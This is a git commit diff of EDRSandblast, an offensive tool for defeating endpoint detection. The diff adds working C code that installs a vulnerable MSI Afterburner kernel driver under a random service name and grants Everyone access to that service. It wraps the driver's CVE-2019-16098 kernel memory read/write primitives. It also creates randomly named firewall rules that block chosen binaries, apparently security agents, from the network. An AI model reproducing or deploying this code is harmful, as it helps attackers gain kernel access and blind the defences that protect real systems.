D3FC0N 30 release: Obj callbacks, firewalling, symbols w/ internet, and more

Co-authored-by: Maxime Meignan <maxime.meignan@wavestone.com>
This commit is contained in:
Qazeer
2022-08-13 09:23:48 -07:00
parent 2e037a379b
commit 48a75a7029
91 changed files with 10503 additions and 4414 deletions
+70 -198
View File
@@ -6,234 +6,57 @@
*/
#include <Windows.h>
#include <aclapi.h>
#include <Shlwapi.h>
#include <Tchar.h>
#include <time.h>
#include "DriverOps.h"
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
BOOL status = FALSE;
DWORD dwSizeNeeded;
PSECURITY_DESCRIPTOR oldSd, newSd;
SECURITY_DESCRIPTOR dummySdForXP;
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
EXPLICIT_ACCESS ForEveryoneACL = {
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
SET_ACCESS,
NO_INHERITANCE,
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
};
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
if (oldSd) {
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
LocalFree(newSd);
}
FreeSid(ForEveryoneACL.Trustee.ptstrName);
}
}
LocalFree(oldSd);
}
}
return status;
}
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
SC_HANDLE hSC = NULL, hS = NULL;
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
if (hSC) {
hS = OpenService(hSC, serviceName, SERVICE_START);
if (hS) {
_tprintf(TEXT("[+] \'%s\' service already registered\n"), serviceName);
}
else {
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
_tprintf(TEXT("[*] \'%s\' service not present\n"), serviceName);
hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
if (hS) {
_tprintf(TEXT("[+] \'%s\' service successfully registered\n"), serviceName);
if (ServiceAddEveryoneAccess(hS)) {
_tprintf(TEXT("[+] \'%s\' service ACL to everyone\n"), serviceName);
}
else {
_tprintf(TEXT("[!] ServiceAddEveryoneAccess"));
}
}
else {
PRINT_ERROR_AUTO(TEXT("CreateService"));
}
}
else {
PRINT_ERROR_AUTO(TEXT("OpenService"));
}
}
if (hS) {
if (startIt) {
if (StartService(hS, 0, NULL)) {
_tprintf(TEXT("[+] \'%s\' service started\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
_tprintf(TEXT("[*] \'%s\' service already started\n"), serviceName);
}
else {
PRINT_ERROR_AUTO(TEXT("StartService"));
return GetLastError();
}
}
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
else {
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
return GetLastError();
}
return 0x0;
}
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
BOOL status = FALSE;
SC_HANDLE hSC, hS;
SERVICE_STATUS serviceStatus;
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if (hSC) {
hS = OpenService(hSC, serviceName, dwDesiredAccess);
if (hS) {
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
return status;
}
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
// Used as a stop point for recursive calls to ServiceUninstall.
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
_tprintf(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
return FALSE;
}
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
_tprintf(TEXT("[+] \'%s\' service stopped\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
_tprintf(TEXT("[*] \'%s\' service not running\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
_tprintf(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
Sleep(OP_SLEEP_TIME);
}
else {
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
SERVICE_STATUS status;
BOOL deleted = FALSE;
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if (hSC) {
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
if (hS) {
if (QueryServiceStatus(hS, &status)) {
if (!(status.dwCurrentState == SERVICE_STOPPED)) {
CloseServiceHandle(hS);
CloseServiceHandle(hSC);
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
else {
deleted = DeleteService(hS);
CloseServiceHandle(hS);
}
}
}
CloseServiceHandle(hSC);
}
if (!deleted) {
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
return deleted;
}
#include "../EDRSandblast.h"
#include "StringUtils.h"
#include "WindowsServiceOps.h"
/*
--- Vulnerable Micro-Star MSI Afterburner driver install / uninstall functions.
--- The "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD) file must be present in the current directory if --driver is not specified.
--- Vulnerable driver install / uninstall functions.
*/
static TCHAR* randString(TCHAR* str, size_t size) {
srand((unsigned int) time(0));
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
if (size) {
for (size_t n = 0; n < size; n++) {
int key = rand() % (int)(sizeof charset - 1);
str[n] = charset[key];
}
str[size] = '\0';
TCHAR* g_driverServiceName;
TCHAR* GetDriverServiceName(void) {
if (!g_driverServiceName || _tcslen(g_driverServiceName) == 0) {
g_driverServiceName = allocAndGenerateRandomString(SERVICE_NAME_LENGTH);
}
return str;
return g_driverServiceName;
}
TCHAR* serviceName;
TCHAR* GetServiceName(void) {
if (!serviceName || _tcslen(serviceName) == 0) {
serviceName = calloc(SERVICE_NAME_LENGTH, sizeof(TCHAR));
randString(serviceName, SERVICE_NAME_LENGTH);
void SetDriverServiceName(_In_z_ TCHAR *newName) {
if (g_driverServiceName) {
free(g_driverServiceName);
}
return serviceName;
}
g_driverServiceName = _tcsdup(newName);
void SetServiceName(TCHAR *newName, size_t szNewName) {
if (serviceName) {
free(serviceName);
}
serviceName = (TCHAR*) calloc(szNewName, sizeof(TCHAR));
if (!serviceName) {
_tprintf(TEXT("[!] Error while attempting to set the service name.\n"));
if (!g_driverServiceName) {
_putts_or_not(TEXT("[!] Error while attempting to set the service name."));
return;
}
_tcscpy_s(serviceName, szNewName, newName);
}
BOOL InstallVulnerableDriver(TCHAR* driverPath) {
TCHAR* svcName = GetServiceName();
TCHAR* svcName = GetDriverServiceName();
DWORD status = ServiceInstall(svcName, svcName, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
if (status == 0x00000005) {
_tprintf(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?\n"));
_putts_or_not(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?"));
}
return status == 0x0;
}
BOOL UninstallVulnerableDriver(void) {
TCHAR* svcName = GetServiceName();
TCHAR* svcName = GetDriverServiceName();
BOOL status = ServiceUninstall(svcName, 0);
@@ -242,4 +65,53 @@ BOOL UninstallVulnerableDriver(void) {
}
return status;
}
}
BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName) {
SC_HANDLE hSCM = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ENUMERATE_SERVICE | SC_MANAGER_CONNECT);
BOOL isRunning = FALSE;
if (hSCM) {
DWORD cbBufSize, cbBytesNeeded;
DWORD nbServices;
BOOL bRes = EnumServicesStatusEx(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER, SERVICE_STATE_ALL, NULL, 0, &cbBytesNeeded, &nbServices, NULL, NULL);
if (!bRes && GetLastError() == ERROR_MORE_DATA) {
ENUM_SERVICE_STATUS_PROCESS* services = calloc(1, cbBytesNeeded);
if (services){
cbBufSize = cbBytesNeeded;
bRes = EnumServicesStatusEx(hSCM, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER, SERVICE_STATE_ALL, (LPBYTE)services, cbBufSize, &cbBytesNeeded, &nbServices, NULL, NULL);
if (bRes) {
for (DWORD i = 0; i < nbServices; i++) {
SC_HANDLE hS = OpenService(hSCM, services[i].lpServiceName, SERVICE_QUERY_CONFIG);
if (hS && _tcscmp(services[i].lpServiceName, GetDriverServiceName())) {
bRes = QueryServiceConfig(hS, NULL, 0, &cbBytesNeeded);
if (!bRes && GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
QUERY_SERVICE_CONFIG* serviceConfig = calloc(1, cbBytesNeeded);
if (serviceConfig) {
cbBufSize = cbBytesNeeded;
bRes = QueryServiceConfig(hS, serviceConfig, cbBufSize, &cbBytesNeeded);
if (bRes) {
if (!_tcscmp(PathFindFileName(serviceConfig->lpBinaryPathName), PathFindFileName(driverPath))) {
isRunning = TRUE;
if (serviceName) {
*serviceName = _tcsdup(services[i].lpServiceName);
}
}
}
free(serviceConfig);
}
}
CloseServiceHandle(hS);
}
}
}
free(services);
}
}
CloseServiceHandle(hSCM);
}
else {
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
return FALSE;
}
return isRunning;
}
+52
View File
@@ -0,0 +1,52 @@
#include <Windows.h>
/*
* Dumps the full content of a single file into a newly allocated buffer
*/
PBYTE ReadFullFileW(LPCWSTR fileName) {
HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return NULL;
}
DWORD fileSize = GetFileSize(hFile, NULL);
PBYTE fileContent = malloc(fileSize);
DWORD bytesRead = 0;
if (!ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
free(fileContent);
fileContent = NULL;
}
CloseHandle(hFile);
return fileContent;
}
/*
* Checks is a file extists (and is not a directory)
*/
BOOL FileExistsW(LPCWSTR szPath)
{
DWORD dwAttrib = GetFileAttributesW(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
BOOL FileExistsA(LPCSTR szPath)
{
DWORD dwAttrib = GetFileAttributesA(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
/*
* Dumps the content of a buffer into a new file
*/
BOOL WriteFullFileW(LPCWSTR fileName, PBYTE fileContent, SIZE_T fileSize) {
HANDLE hFile = CreateFileW(fileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return FALSE;
}
BOOL res = WriteFile(hFile, fileContent, (DWORD)fileSize, NULL, NULL);
CloseHandle(hFile);
return res;
}
+4 -33
View File
@@ -6,6 +6,8 @@
#include <Tchar.h>
#include <stdio.h>
#include "../EDRSandblast.h"
#include "FileVersion.h"
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
@@ -19,7 +21,7 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
LPTSTR verData = (LPTSTR)calloc(verSize, 1);
if (!verData) {
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve version data\n"));
_putts_or_not(TEXT("[!] Couldn't allocate memory to retrieve version data"));
return;
}
@@ -31,7 +33,7 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
DWORD majorVersion = (verInfo->dwFileVersionLS >> 16) & 0xffff;
DWORD minorVersion = (verInfo->dwFileVersionLS >> 0) & 0xffff;
_stprintf_s(buffer, bufferLen, TEXT("%ld-%ld"), majorVersion, minorVersion);
// _tprintf(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
// _tprintf_or_not(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
}
}
}
@@ -39,34 +41,3 @@ void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
free(verData);
}
}
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute ntoskrnl.exe path.
TCHAR ntoskrnlPath[MAX_PATH] = { 0 };
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), systemDirectory);
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
_stprintf_s(ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
}
void GetWdigestVersion(TCHAR* wdigestVersion) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute ntoskrnl.exe path.
TCHAR wdigestPath[MAX_PATH] = { 0 };
_tcscat_s(wdigestPath, _countof(wdigestPath), systemDirectory);
_tcscat_s(wdigestPath, _countof(wdigestPath), TEXT("\\wdigest.dll"));
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
_stprintf_s(wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
}
+222
View File
@@ -0,0 +1,222 @@
extern "C" {
#include "../EDRSandblast.h"
#include "FirewallOps.h"
}
HRESULT ComInitNetFwPolicy2(INetFwPolicy2** ppNetFwPolicy2) {
HRESULT hrStatus = S_OK;
hrStatus = CoInitializeEx(0, COINIT_APARTMENTTHREADED);
// Ignore RPC_E_CHANGED_MODE (Microsoft documentation stating that the existing mode does not matter).
if (hrStatus != RPC_E_CHANGED_MODE && FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while initializing COM (CoInitializeEx failed: 0x%08lx)\n"), hrStatus);
return hrStatus;
}
hrStatus = CoCreateInstance(__uuidof(NetFwPolicy2), NULL, CLSCTX_INPROC_SERVER, __uuidof(INetFwPolicy2), (void**)ppNetFwPolicy2);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while initializing the INetFwPolicy2 interface (CoCreateInstance for INetFwPolicy2 failed: 0x%08lx)\n"), hrStatus);
return hrStatus;
}
return hrStatus;
}
extern "C" HRESULT IsFirewallEnabled(BOOL* firewallIsOn);
HRESULT IsFirewallEnabled(BOOL* firewallIsOn) {
HRESULT hrComInit = E_FAIL;
HRESULT hrStatus = S_OK;
INetFwPolicy2* pNetFwPolicy2 = NULL;
long CurrentProfilesBitMask = 0;
VARIANT_BOOL vbFirewallsEnabled = VARIANT_TRUE;
VARIANT_BOOL vbFirewallProfileEnabled = VARIANT_FALSE;
struct ProfileMapElement {
NET_FW_PROFILE_TYPE2 Id;
LPCWSTR Name;
};
ProfileMapElement ProfileMap[3];
ProfileMap[0].Id = NET_FW_PROFILE2_DOMAIN;
ProfileMap[0].Name = L"Domain";
ProfileMap[1].Id = NET_FW_PROFILE2_PRIVATE;
ProfileMap[1].Name = L"Private";
ProfileMap[2].Id = NET_FW_PROFILE2_PUBLIC;
ProfileMap[2].Name = L"Public";
hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2);
if (FAILED(hrComInit)) {
hrStatus = E_FAIL;
goto cleanup;
}
hrStatus = pNetFwPolicy2->get_CurrentProfileTypes(&CurrentProfilesBitMask);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Could not determine Firewall status (failed to get the active Firewall profiles - get_CurrentProfileTypes failed: 0x%08lx)\n"), hrStatus);
goto cleanup;
}
for (DWORD i = 0; i < 3; i++) {
if (CurrentProfilesBitMask & ProfileMap[i].Id) {
hrStatus = pNetFwPolicy2->get_FirewallEnabled(ProfileMap[i].Id, &vbFirewallProfileEnabled);
if (FAILED(hrStatus)) {
wprintf_or_not(L"[!] Could not determine Firewall status (failed to retrieve FirewallEnabled settings for %s profile - get_FirewallEnabled failed: 0x%08lx)\n", ProfileMap[i].Name, hrStatus);
goto cleanup;
}
if (vbFirewallProfileEnabled == VARIANT_FALSE) {
wprintf_or_not(L"[*] The Windows Firewall is off on the (active) '%s' profile.\n", ProfileMap[i].Name);
vbFirewallsEnabled = VARIANT_FALSE;
}
}
}
*firewallIsOn = (BOOL)(vbFirewallsEnabled == VARIANT_TRUE);
cleanup:
if (pNetFwPolicy2) {
pNetFwPolicy2->Release();
pNetFwPolicy2 = NULL;
}
if (SUCCEEDED(hrComInit)) {
CoUninitialize();
}
return hrStatus;
}
extern "C" HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName);
HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName) {
HRESULT hrComInit = E_FAIL;
HRESULT hrStatus = S_OK;
INetFwPolicy2* pNetFwPolicy2 = NULL;
INetFwRules* pFwRules = NULL;
INetFwRule* pFwRule = NULL;
BSTR bstrRuleName = NULL;
BSTR bstrRuleDescription = NULL;
BSTR bstrRuleApplication = NULL;
hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2);
if (FAILED(hrComInit)) {
hrStatus = E_FAIL;
goto cleanup;
}
// Rules parameters.
generateRandomString(ruleName, FW_RULE_NAME_MAX_LENGTH);
bstrRuleName = SysAllocString(ruleName);
bstrRuleDescription = SysAllocString(ruleName);
bstrRuleApplication = SysAllocString(binaryPath);
// hrStatus = pNetFwPolicy2->get_Rules(&pFwRules);
hrStatus = pNetFwPolicy2->get_Rules(&pFwRules);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Could not retrieve current Firewall rules (pNetFwPolicy2->get_Rules failed: 0x%08lx).\n"), hrStatus);
goto cleanup;
}
// Create a new Firewall Rule object.
hrStatus = CoCreateInstance(__uuidof(NetFwRule), NULL, CLSCTX_INPROC_SERVER, __uuidof(INetFwRule), (void**)&pFwRule);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while attempting to initiate the INetFwRule (CoCreateInstance failed: 0x%08lx).\n"), hrStatus);
goto cleanup;
}
// Populates the rule's parameters.
pFwRule->put_Name(bstrRuleName);
pFwRule->put_Description(bstrRuleDescription);
pFwRule->put_ApplicationName(bstrRuleApplication);
pFwRule->put_Protocol(NET_FW_IP_PROTOCOL_ANY);
pFwRule->put_Direction(direction);
pFwRule->put_Profiles(FW_PROFILE_TYPE_ALL);
pFwRule->put_Action(NET_FW_ACTION_BLOCK);
pFwRule->put_Enabled(VARIANT_TRUE);
// Add the new rule.
hrStatus = pFwRules->Add(pFwRule);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while adding the firewall blocking rule for %s (INetFwRule->Add failed: 0x%08lx)\n"), binaryPath, hrStatus);
}
cleanup:
if (pFwRule) {
pFwRule->Release();
}
if (pFwRules) {
pFwRules->Release();
}
if (pNetFwPolicy2) {
pNetFwPolicy2->Release();
}
if (bstrRuleName) {
SysFreeString(bstrRuleName);
bstrRuleName = NULL;
}
if (bstrRuleDescription) {
SysFreeString(bstrRuleDescription);
bstrRuleDescription = NULL;
}
if (bstrRuleApplication) {
SysFreeString(bstrRuleApplication);
bstrRuleApplication = NULL;
}
if (SUCCEEDED(hrComInit)) {
CoUninitialize();
}
return hrStatus;
}
extern "C" HRESULT DeleteFirewallRule(TCHAR* ruleName);
HRESULT DeleteFirewallRule(TCHAR* ruleName) {
HRESULT hrComInit = E_FAIL;
HRESULT hrStatus = S_OK;
INetFwPolicy2* pNetFwPolicy2 = NULL;
INetFwRules* pFwRules = NULL;
hrComInit = ComInitNetFwPolicy2(&pNetFwPolicy2);
if (FAILED(hrComInit)) {
hrStatus = E_FAIL;
goto cleanup;
}
hrStatus = pNetFwPolicy2->get_Rules(&pFwRules);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Could not retrieve current Firewall rules (pNetFwPolicy2->get_Rules: 0x%08lx).\n"), hrStatus);
goto cleanup;
}
hrStatus = pFwRules->Remove(ruleName);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] Error while removing Firewall rule \"%s\" (failed with: 0x%08lx)\n"), ruleName, hrStatus);
_tprintf_or_not(TEXT("[!] The rule can be removed manually using: netsh advfirewall firewall delete rule name=%s\n"), ruleName);
}
else {
_tprintf_or_not(TEXT("[+] Successfully removed Firewall rule \"%s\"\n"), ruleName);
}
cleanup:
if (pFwRules) {
pFwRules->Release();
}
if (SUCCEEDED(hrComInit)) {
pNetFwPolicy2->Release();
}
return hrStatus;
}
+121
View File
@@ -0,0 +1,121 @@
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <windef.h>
#include <winhttp.h>
#include "../EDRSandblast.h"
#include "HttpClient.h"
BOOL HttpsDownloadFullFile(LPCWSTR domain, LPCWSTR uri, PBYTE* output, SIZE_T* output_size) {
wprintf_or_not(L"Downloading https://%s%s...\n", domain, uri);
// Get proxy configuration
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG proxyConfig;
WinHttpGetIEProxyConfigForCurrentUser(&proxyConfig);
BOOL proxySet = !(proxyConfig.fAutoDetect || proxyConfig.lpszAutoConfigUrl != NULL);
DWORD proxyAccessType = proxySet ? ((proxyConfig.lpszProxy == NULL) ?
WINHTTP_ACCESS_TYPE_NO_PROXY : WINHTTP_ACCESS_TYPE_NAMED_PROXY) : WINHTTP_ACCESS_TYPE_NO_PROXY;
LPCWSTR proxyName = proxySet ? proxyConfig.lpszProxy : WINHTTP_NO_PROXY_NAME;
LPCWSTR proxyBypass = proxySet ? proxyConfig.lpszProxyBypass : WINHTTP_NO_PROXY_BYPASS;
// Initialize HTTP session and request
HINTERNET hSession = WinHttpOpen(L"WinHTTP/1.0", proxyAccessType, proxyName, proxyBypass, 0);
if (hSession == NULL) {
printf_or_not("WinHttpOpen failed with error : 0x%x\n", GetLastError());
return FALSE;
}
HINTERNET hConnect = WinHttpConnect(hSession, domain, INTERNET_DEFAULT_HTTPS_PORT, 0);
if (!hConnect) {
printf_or_not("WinHttpConnect failed with error : 0x%x\n", GetLastError());
return FALSE;
}
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", uri, NULL,
WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);
if (!hRequest) {
return FALSE;
}
// Configure proxy manually
if (!proxySet)
{
WINHTTP_AUTOPROXY_OPTIONS autoProxyOptions;
autoProxyOptions.dwFlags = proxyConfig.lpszAutoConfigUrl != NULL ? WINHTTP_AUTOPROXY_CONFIG_URL : WINHTTP_AUTOPROXY_AUTO_DETECT;
autoProxyOptions.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A;
autoProxyOptions.fAutoLogonIfChallenged = TRUE;
if (proxyConfig.lpszAutoConfigUrl != NULL)
autoProxyOptions.lpszAutoConfigUrl = proxyConfig.lpszAutoConfigUrl;
WCHAR szUrl[MAX_PATH] = { 0 };
swprintf_s(szUrl, _countof(szUrl), L"https://%ws%ws", domain, uri);
WINHTTP_PROXY_INFO proxyInfo;
WinHttpGetProxyForUrl(
hSession,
szUrl,
&autoProxyOptions,
&proxyInfo);
WinHttpSetOption(hRequest, WINHTTP_OPTION_PROXY, &proxyInfo, sizeof(proxyInfo));
DWORD logonPolicy = WINHTTP_AUTOLOGON_SECURITY_LEVEL_LOW;
WinHttpSetOption(hRequest, WINHTTP_OPTION_AUTOLOGON_POLICY, &logonPolicy, sizeof(logonPolicy));
}
// Perform request
BOOL bRequestSent;
do {
bRequestSent = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
} while (!bRequestSent && GetLastError() == ERROR_WINHTTP_RESEND_REQUEST);
if (!bRequestSent) {
return FALSE;
}
BOOL bResponseReceived = WinHttpReceiveResponse(hRequest, NULL);
if (!bResponseReceived) {
return FALSE;
}
// Read response
DWORD dwAvailableSize = 0;
DWORD dwDownloadedSize = 0;
SIZE_T allocatedSize = 4096;
if (!WinHttpQueryDataAvailable(hRequest, &dwAvailableSize))
{
return FALSE;
}
*output = (PBYTE) malloc(allocatedSize);
*output_size = 0;
while (dwAvailableSize)
{
while (*output_size + dwAvailableSize > allocatedSize) {
allocatedSize *= 2;
PBYTE new_output = (PBYTE)realloc(*output, allocatedSize);
if (new_output == NULL)
{
return FALSE;
}
*output = new_output;
}
if (!WinHttpReadData(hRequest, *output + *output_size, dwAvailableSize, &dwDownloadedSize))
{
return FALSE;
}
*output_size += dwDownloadedSize;
WinHttpQueryDataAvailable(hRequest, &dwAvailableSize);
}
PBYTE new_output = (PBYTE)realloc(*output, *output_size);
if (new_output == NULL)
{
return FALSE;
}
*output = new_output;
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return TRUE;
}
File diff suppressed because it is too large Load Diff
+20
View File
@@ -0,0 +1,20 @@
#include "IsElevatedProcess.h"
BOOL IsElevatedProcess() {
BOOL fRet = FALSE;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION Elevation;
DWORD cbSize = sizeof(TOKEN_ELEVATION);
if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
fRet = Elevation.TokenIsElevated;
}
}
if (hToken) {
CloseHandle(hToken);
}
return fRet;
}
+53 -162
View File
@@ -1,178 +1,69 @@
/*
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
*/
#include <Windows.h>
#include <Tchar.h>
#include <Psapi.h>
#include <stdio.h>
#include <assert.h>
#include "DriverRTCore.h"
#include "DriverDBUtil.h"
#include "KernelUtils.h"
#include "../EDRSandblast.h"
#include "KernelMemoryPrimitives.h"
static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_READ_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
NULL);
return MemoryRead.Value;
VOID ReadMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size) {
ReadMemoryPrimitive(Size, Address, Buffer);
}
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
MemoryRead.Value = Value;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_WRITE_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
NULL);
VOID WriteMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size) {
WriteMemoryPrimitive(Size, Address, Buffer);
}
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 1, Address) & 0xff;
#define ReadMemoryType(TYPE) \
TYPE ReadMemory ## TYPE ## (DWORD64 Address) {\
